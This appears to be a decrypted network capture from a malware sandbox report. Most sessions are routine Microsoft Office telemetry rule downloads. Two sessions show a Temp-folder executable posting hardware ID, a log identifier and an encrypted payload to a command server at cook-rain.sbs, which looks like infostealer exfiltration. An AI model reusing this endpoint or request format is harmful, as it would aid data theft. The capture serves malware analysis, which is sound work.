2024-11-22 03:12:57 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:56 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:57 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:57 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031257Z-178bfbc474bvjk8shC1NYC83ns000000029g00000000428k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:57 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:57 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:58 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:57 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 607d0db8-301e-0052-4363-3b65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031257Z-178bfbc474bxkclvhC1NYC69g4000000026g00000000qe6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:58 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:57 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:58 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:58 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 150e742e-301e-0033-3994-3bfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031258Z-15b8b599d8885prmhC1TEBsnkw00000000zg000000009baq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:58 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49895	172.67.155.248	443	5572	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:58 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EJZSMV6CC64QT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18139 Host: cook-rain.sbs
2024-11-22 03:12:58 UTC	15331	OUT	Data Raw: 2d 2d 45 4a 5a 53 4d 56 36 43 43 36 34 51 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 32 37 33 37 46 32 45 45 33 46 30 32 35 41 31 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 45 4a 5a 53 4d 56 36 43 43 36 34 51 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 4a 5a 53 4d 56 36 43 43 36 34 51 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 4a 5a 53 4d Data Ascii: --EJZSMV6CC64QTContent-Disposition: form-data; name="hwid"82737F2EE3F025A1D7CBBD6DF28D3732--EJZSMV6CC64QTContent-Disposition: form-data; name="pid"2--EJZSMV6CC64QTContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--EJZSM
2024-11-22 03:12:58 UTC	2808	OUT	Data Raw: 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 Data Ascii: ~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECa
2024-11-22 03:12:59 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nbsafrsfuhd1emq861etl391je; expires=Mon, 17-Mar-2025 20:59:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RoXHH6lHN1ynd%2FrMO6hKEA1v14KPzRCsPZPOlxzNQOte0P%2FWwH0TdMrundn6Zsd6LwU%2BOH5YRy6Fp%2FcN1D9oBTzneNCGwJu%2FwJI%2FPgppY6D1Zl4uZ3GMA3b6fpbhgDOp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e65bdabaa874327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&sent=17&recv=23&lost=0&retrans=0&sent_bytes=2830&recv_bytes=19093&delivery_rate=1771844&cwnd=245&unsent_bytes=0&cid=cc1ab67ba7a0e05b&ts=1218&x=0"
2024-11-22 03:12:59 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-22 03:12:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:58 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:59 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:59 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 6d8f64b9-901e-005b-763b-3c2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031259Z-178bfbc474bv7whqhC1NYC1fg400000002c000000000catp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:59 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:58 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:59 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:59 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: de9d050e-401e-0078-2067-3b4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031259Z-178bfbc474bscnbchC1NYCe7eg00000002hg0000000099f7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:12:59 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49899	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:58 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-22 03:12:59 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0SyaoYgAAAACHM3u5nQtYS605XTu+5FyaTE9OMjFFREdFMDIxMgBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=135210 Date: Fri, 22 Nov 2024 03:12:59 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-22 03:12:59 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:58 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:12:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:12:59 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 15687058-401e-005b-477d-3b9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031259Z-174c587ffdfmrvb9hC1TEBtn3800000000tg00000000h9tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:12:59 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:12:59 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:00 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:00 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 11fd19a1-001e-0046-3f80-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031300Z-174c587ffdf9xbcchC1TEBxkz400000000pg00000000exxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 03:13:00 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:00 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 03:13:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:00 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 6db8bce5-501e-0078-354f-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T031300Z-15b8b599d88m7pn7hC1TEB4axw00000000tg00000000h63t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 03:13:00 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49906	172.67.155.248	443	5572	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 03:13:00 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=E0GFJECRWY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8742 Host: cook-rain.sbs
